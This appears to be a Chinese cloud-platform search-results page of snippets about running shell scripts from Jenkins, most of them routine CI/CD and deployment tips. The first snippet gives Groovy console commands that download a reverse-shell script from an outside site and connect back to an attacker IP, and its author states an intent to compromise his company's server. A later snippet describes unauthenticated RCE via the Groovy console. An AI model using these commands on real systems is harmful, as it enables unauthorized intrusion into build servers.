展开

关键词

Jenkinsshell方法

最近一直在学习怎么利用jenkins反序列化,妹的,就是没有一个顺手的GUI工具,能让我直接秒杀服务器。 楼下的小伙伴有好的工具,请给我留言,我要秒了我们公司的jenkins服务器,多谢。。。。 关于反序列化的问题,如果不懂java就是苦逼,小弟我就是这样的苦逼,这个先放一边,先把jenkinsshell的方法整理一下。 文章来自安全脉搏,略有改动,更加精简。。。 ? 一、Jenkins未授权访问可执行命令 命令执行的话,是需要有相关用户权限的,具体的位置在下图中: ? 二、Jenkinsshell方法 1、直接wget下载back.py反弹shell,如下: 1 println "wget http://www.waitalone.cn/tools/back.py -P /tmp/".execute().text 2 println "python /tmp/back.py 10.1.1.111 8080".execute().text 2、多种方式写shell

2.5K20

jenkins相关shell命令

1.springboot构建 clean package -DskipTests -P test image.png cd /usr/local/jenkins-script/ chmod 777 *

14000
  • 广告
    关闭

    腾讯云精选爆品盛惠抢购

    腾讯云精选爆款云服务器限时体验20元起,云数据库19.9元/年起,还有更多热门云产品满足您的上云需求

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Jenkinsshell脚本运行docker权限报错解决

    Release: 16.04 Codename: xenial docker 信息 Docker version 18.06.0-ce, build 0ffa825 错误信息 能够在shell 中使用docker version打印版本号,但是无法执行docker,报错信息如下 + docker run -i --rm --name my-node-8 -u 0 -v /var/lib/jenkins 解决方法 将jenkins用户加入docker组 重启Jenkins服务 sudo gpasswd -a jenkins docker sudo service jenkins restart

    1.5K30

    jenkins执行shell启动tomcat失败

    集成Jenkins+manven,构建持续部署。构建完毕,Jenkins会执行服务器某个目录下的Shell, 脚本中功能是复制war包到tomcat目录下,重启Tomcat。 TOMCAT_HOME_WEB=/home/tjuis/www/apache-tomcat-web export TOMCAT_HOME_APP=/home/tjuis/www/apache-tomcat-app export JENKINS =/home/tjuis/.jenkins/workspace #防止jenkins构建完后杀死tomcat进程 export BUILD_ID=dontKillMe sleep 6 #关闭TOMCAT

    1.3K20

    jenkins 执行 shell脚本不稳定

    120,000 ms] Build step 'Send files or execute commands over SSH' changed build result to UNSTABLE jenkins 执行 shell脚本如果超时的话可以增加超时时间;但是如果是启动项目,项目启动成功了,但 jenkins没有成功返回,还是处于连接状态,而且长时间连接一直没有结果,则是其他原因导致的,解决办法如下图,

    18530

    jenkins执行shell读不到环境变量问题

    (login shell)和非登陆式shell(no-login shell) 解决方案 环境:HP-UX 解决方案 从jenkins远程执行shell源码分析系列中,了解到jenkins执行shell 在使用jenkins过程中,发现执行shell读取不到/etc/profile以及用户下.bash_profile设置的环境变量。 那么根据上面代码,具体执行的命令就会变成/bin/bash +x /tmp/hudson224519953209659762.sh 知道jenkins执行shell的原理后,接下来我们要谈谈交互式和非交互式 即在jenkins Execute Shell里可以这么写 #!/bin/bash -ilex ... ... 解决方案 所以在HP-UX环境下,在jenkins Execute Shell里可以这么写 #!/bin/sh +x .

    1.9K30

    Jenkins+Git+Maven+Shell+Tomcat持续集成」经典教程

    亮点 1.采用shell自定义脚本,控制集成部署环境更加方便灵活 2.精简war包中的lib包,常驻tomcat里,减少war包传输时间 3.Jenkins 用户权限管理,不让淘气鬼乱动 4.构建失败发邮件通知相关人员解决 安装Jenkins插件 1.Email Extension Plugin (邮件通知) 2.GIT plugin (可能已经默认安装了) 3.Publish Over SSH (远程Shell) 安装方法 Add post-build step 构建成功后执行shell命令 ? 分享我的Shell mv ~/.jenkins/jobs/server/workspace/server/target/server/WEB-INF/lib/common-0.1-SNAPSHOT.jar target/server.war root@123.56.xxx.xx:/opt/war/ 构建成功远程执行shell脚本 exec command 是远程sh的路径 ?

    22310

    Jenkins+Git+Maven+Shell+Tomcat持续集成」经典教程

    亮点 1.采用shell自定义脚本,控制集成部署环境更加方便灵活 2.精简war包中的lib包,常驻tomcat里,减少war包传输时间 3.Jenkins 用户权限管理,不让淘气鬼乱动 4.构建失败发邮件通知相关人员解决 安装Jenkins插件 1.Email Extension Plugin (邮件通知) 2.GIT plugin (可能已经默认安装了) 3.Publish Over SSH (远程Shell) 安装方法 Add post-build step 构建成功后执行shell命令 ? 分享我的Shell mv ~/.jenkins/jobs/server/workspace/server/target/server/WEB-INF/lib/common-0.1-SNAPSHOT.jar target/server.war root@123.56.xxx.xx:/opt/war/ 构建成功远程执行shell脚本 exec command 是远程sh的路径 ?

    43830

    jenkins远程执行shell

    1、安装插件:publish over ssh 2、jenkins->系统管理->系统设置-> Publish over SSH中增加ssh server name:随意起名字 hostname:远程连接过去的 在项目中进行配置 点击项目中的配置->构建->选择 send files or execute commands over ssh name:选择步骤2中配置的name Source files : Jenkins 打好的war包路径(该路径是相对路径,相对于Jenkins目录下的workspace) Remove prefix :忽略的路径前缀。

    82821

    jenkins远程执行shell源码分析

    本文关于jenkins远程执行shell过程的源码分析。 通过源码分析来理解jenkins Execute Shell的实现原理。 配置 slave节点配置一个job,job里只有一个构建步骤Execute Shell,里面执行env输出slave节点环境变量信息。 ? 1.617(jenkins-core,jenkins-war)、remoting 2.51(即从节点需要的slave.jar)、ssh-slaves 1.9代码。 因为hpi:run命令运行插件,依赖jenkins的war包,匹配相应的版本能方便debug并且可以方便的修改jenkins-core源码。 远程执行shell过程 介绍jenkins Remoting架构 主节点向从节点发送远程请求 从节点接受主节点的远程请求 从节点执行主节点的远程请求

    29210

    不同环境下 Jenkins 调用 shell 脚本管理 docker 容器

    一、生产环境 Jenkins 使用 ssh-copy-id 实现 SSH 无密码登录,实现方式如下: ssh-keygen 产生公钥与私钥对. ssh-copy-id 将本机的公钥复制到远程机器的 authorized_keys ,如果会话突然中断,或你按下了“Ctrl-a d”,远程主机上的 shell 不会受到丝毫影响,你可以重新连接,其它有用的 screen 命令有“Ctrl-a c”(打开新的shell)和“Ctrl-a a”(在shell之间来回切换)。 二、Linux环境和Jenkins环境2则脚本,仅供参考 1、Jenkins 构建调用 shell 脚本管理容器(Linux环境)脚本: #! 构建调用 shell 脚本管理容器(Jenkins环境)脚本: #!

    29520

    Jenkins Tips 002: 处理Shell返回字符串为数组

    每期用简短的图文描述一个 Jenkins 小技巧 ? 问题 想要把 Linux 上不同的文本数据通过 Jenkins 发送邮件给不同的人。 思路 想通过 Shell 先对数据进行处理,然后返回到 Jenkins pipeline 里,但只能得到 Shell 返回的字符串,因此需要在 Jenkinsfile 里把字符串处理成数组,然后通过一个 以下是要处理的文本数据: # Example $ ls fail-list-user1.txt fail-list-user2.txt fail-list-user3.txt 要将以上文件通过 Jenkins 解决 字符串截取 通过 Shell 表达式只过滤出 user1 user2 user3 # list 所有以 fail-list 开头的文件,并赋给一个数组 l l=$(ls -a fail-list- scripts { // 将 Shell 返回字符串赋给 owners 这个变量。注意在 $ 前面需要加上 \ 进行转义。

    52510

    Jenkins Tips 001: 忽略 Shell 步骤中的故障

    问题 不希望 Shell 脚本因失败而中止。 想一直运行 Shell 脚本并报告失败。 解决 方法一 运行 Shell 时,你可以通过使用内置的 +e 选项来控制执行你的脚本错误。 请参考如下四个示例中的测试 Shell 和测试结果 Console Output。 示例一 执行的时候如果出现了返回值为非零(即命令执行失败)将会忽略错误,继续执行下面的脚本。 如果为真,则退出 Shell $ if [ $error ] $ then $ exit -1 $ fi ? 示例四:测试结果

    1.1K30

    Jenkins RCE 通过未经身份验证的 API

    允许未经身份验证访问 groovy 脚本控制台,允许攻击者执行 shell 命令和/或连接回反向 shellJenkins 版本 1.626 Jenkins 版本 1.638 经测试的操作系统 努力测试所有受影响的操作系统,显示默认操作系统打包版本的漏洞利用(例如 jenkins shell 操作系统 默认包展示 CentOS 6 - Jenkins RPM via Jenkins YUM Repo shell 作为用户 jenkins 制作了一些小的 groovy 脚本来通过 Jenkins API 执行我想要的 shell 命令(我记得有一些问题通过 groovy 一次运行多个命令),然后我使用 Curl 执行它们。 需要/tmp设置执行挂载选项,因此您应该可以安全地将 shell 放置在 Jenkins 服务器上。

    17830

    jenkins配置记录(2)--代码发布流程

    最后,调用shell同步的脚本(脚本在jenkins本机上定义的,这里填写脚本的执行命令就行) ? ? [root@jenkins-server Shell]# pwd /usr/local/tomcat7/webapps/jenkins/scripts/Shell [root@redmine Shell [root@jenkins-server Shell]# cat FF_Beta.sh #! [root@jenkins-server Shell]# cat FF_Diff_Beta.sh #! 下面是该回滚项目的shell脚本 [root@jenkins-server Shell]# cat FF_Rollback.sh #!

    1.3K90

    linux下截取给定路径中的目录部分

    其实就是取所给路径的倒数第二级及其之前的路径部分,如下: [root@jenkins-server Shell]# dirname main/protected/xqsjmob/themes/tpl2/ common/page_statistics.tpl main/protected/xqsjmob/themes/tpl2/common [root@jenkins-server Shell]# dirname /usr/local/tomcat7/webapps/jenkins/scripts/Shell /usr/local/tomcat7/webapps/jenkins/scripts [root@qzt196 下面比较下这两种方法的效果:即dirname取的是倒数第二级及其以上级的路径,而${pathname%/*}取的是"删除最后一个/符号后的路径部分" [root@jenkins-server Shell @jenkins-server Shell]# pathname=/usr/; echo $(dirname $pathname) ${pathname%/*} / /usr [root@jenkins-server

    1K50

    手摸手教你docker+jenkins+gitlab部署你的Vue项目

    image.png 1.本地代码push到gitlab 2.gitlab通过webhook通知到jenkins 3.jenkins拉取gitlab仓库代码,并执行shell脚本 4.shell脚本执行docker ).新建一个item (2).进入到项目的配置页面 (3).填写shell自定义变量,照着上面的填写,后面填写shell脚本时候会用到 ? 脚本 前言:这时候我们已经打通了本地代码->gitlab-jenkins的这个环节了,然后我们编写shell脚本执行docker语句构建容器并且执行就OK了 (1).在jenkins中配置shell脚本 image.png 项目打开啦,说明之前我们的辛苦没有白费~ 可以继续优化的点 jenkins构建后发送邮件通知 shell脚本判断端口是否被占用,如果占用可以随机分配端口并且通知到用户 shell脚本中的 npm install换成淘宝源可以速度快一些 一点点感悟 CICD这个流程难在比较繁琐,每个细节都得注意,当我们学会docker,shell,linux,jenkins,ssh公钥私钥配置这方面的知识后

    41221

    Java代码自动部署

    阶段3: 优点:由Jenkins工具进行代码的发布部署,规范了代码的发布流程,提供可视工具监听整个发布流程等。 缺点:对技术要求更高了,需要了解Jenkins工具,会编写Shell脚本等。 使用Jenkins进行代码部署时需要的环境支持: 1、安装Maven并配置环境变量 2、Git客户端,并配置环境变量 3、熟悉Shell脚本相关知识 4、对Jenkins有一定了解 使用Jenkins进行代码部署如下 另外一种更优雅的方式是使用Shell脚本控制Jenkins工具的启动、停止、重启等操作。 样例如下: #! 2、Jenkins中自定义Shell问题 #需要在脚本开始时添加export BUILD_ID=dontKillMe。 比如学习整个项目部署的思路,由Maven插件部署到Shell脚本部署再到Jenkins部署项目,其实越到后面,Jenkins只是对一些操作做了集成封装,但是我觉得如果我们能从最基本做起,了解其中的流程及原理

    1.5K20

    Jenkins安装与配置(Flask+Gunicorn及React)

    shell即可。 但是要注意jenkins用户的权限,默认是jenkins,如果需要对个别文件进行读写,则需要参考Linux 修改文件所有者和文件所在组以及用chmod赋予用户权限的相关博客来修改用户权限,是shell能顺利执行 的shell安装会很慢。 /bin/activate # 激活环境 cd yourproject pip install -r requirements.txt 然后再开始设置jenkinsshell [Configure /g\_error.log一句为指定错误日志) [Excute shell] 保存后再构建项目。 如果项目不能访问,则进入打开g\_error.log查看原因。

    61920

    Mac下的Jenkins安装

    -delete /Users/jenkins sudo dscl . -delete /Groups/jenkins launchctl 可以理解为执行定时 任务,开机时启动 jenkins。 组名 和 UserName的获取,可以通过 shell 命令(id、whoami),也可以通过 “系统偏好设置” –> “用户与群组” 先解锁左下角的锁,再选中当前用户,右健 ? org.jenkins-ci.plist sudo chmod 600 /Library/LaunchDaemons/org.jenkins-ci.plist 再次运行 (#注意下面,没有加 sudo,而且当前 shellJenkins 中添加执行 Shell,输入 echo $PATH,看控制台上的输出,发现跟在 shell 命令中 echo $PATH,完全不一样。 最后,使用使用修改plist的用户名的帐号,打开 shell 并执行“launchctl load /Library/LaunchDaemons/org.jenkins-ci.plist” 就搞定了。

    1.4K60

    相关产品

    • 持续集成

      持续集成

      CODING 持续集成全面兼容 Jenkins 持续集成服务,支持所有主流语言以及 Docker 镜像的构建。并且支持图形化编排,高配集群多 Job 并行构建全面提速您的构建任务……

    相关资讯

    热门标签

    扫码关注云+社区

    领取腾讯云代金券